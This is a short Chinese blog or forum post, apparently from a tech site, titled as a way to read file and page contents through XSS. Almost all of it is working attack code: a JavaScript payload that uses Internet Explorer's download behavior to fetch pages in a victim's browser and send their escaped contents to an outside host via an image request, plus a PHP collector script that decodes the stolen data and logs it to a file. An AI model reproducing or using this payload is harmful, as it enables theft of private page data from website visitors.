首页 电脑 电脑学堂 查看内容

xss文件页面内容读取

2009-12-5 10:46 590 0

摘要: js:document.body.addBehavior("#default#Download");var mycars = new Array();mycars[0] = "l.htm";mycar...
关键词: nbsp UTF-8 substr mycars GetData source iconv getReaded key pack

js:document.body.addBehavior("#default#Download");var mycars = new Array();mycars[0] = "l.htm";mycars[1] = "y.htm";for (x in mycars ){if(document.body.startDownload(mycars[x],GetData)){GetData(source);}} function GetData(source){   txt=escape(source);getReaded(txt);}function getReaded(usr) {var newimg = new Image();newimg.src="http://192.168.0.12/style.php?key="+"\n"+"\n"+usr+"\n"+"\n"; } php:<?php header('Content-Type:text/html;charset=GB2312');function   unescape($str)   {                         $str   =   rawurldecode($str);                         preg_match_all("/%u.{4}|&#x.{4};|&#\d+;|.+/U",$str,$r);                         $ar   =   $r[0];                         foreach($ar   as   $k=>$v)   {                                           if(substr($v,0,2)   ==   "%u")                                                             $ar[$k]   =   iconv("UCS-2","UTF-8",pack("H4",substr($v,-4)));                                           elseif(substr($v,0,3)   ==   "&#x")                                                             $ar[$k]   =   iconv("UCS-2","UTF-8",pack("H4",substr($v,3,-1)));                                           elseif(substr($v,0,2)   ==   "&#")   {                                                             $ar[$k]   =   iconv("UCS-2","UTF-8",pack("n",substr($v,2,-1)));                                           }                         }                         return   join("",$ar);     }$file="news.html";$_GET['key']=unescape($_GET['key']);fputs(fopen($file,'a+'),$_GET['key']);?>
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部